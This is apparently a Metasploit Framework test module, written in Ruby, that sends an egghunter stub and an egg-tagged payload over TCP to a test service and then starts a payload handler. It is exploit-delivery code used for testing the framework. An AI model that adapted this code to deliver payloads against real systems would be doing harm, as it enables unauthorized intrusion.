metasploit-framework/modules/exploits/test/egghunter.rb

98 lines
1.9 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Internal Egghunter Test Exploit',
'Description' =>
"This module tests the exploitation of a test service using the Egghunter.",
'Author' => 'jduck',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 1000,
'MaxNops' => 0,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0))
register_options(
[
OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ])
])
end
def autofilter
false
end
def check
return Exploit::CheckCode::Vulnerable
end
def exploit
connect
print_status("Sending #{payload.encoded.length} byte payload...")
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, {
:checksum => true
})
print_status("Egghunter: hunter stub #{eh_stub.length} bytes, egg #{eh_egg.length} bytes")
sploit = ''
# break before?
#sploit << "\xcc"
sploit << eh_stub
# just return otherwise
sploit << "\xc3"
# hopefully we find this!
sploit << eh_egg
sock.put(sploit)
if (datastore['WaitForInput'])
puts "Type something..."
gets
end
handler
end
end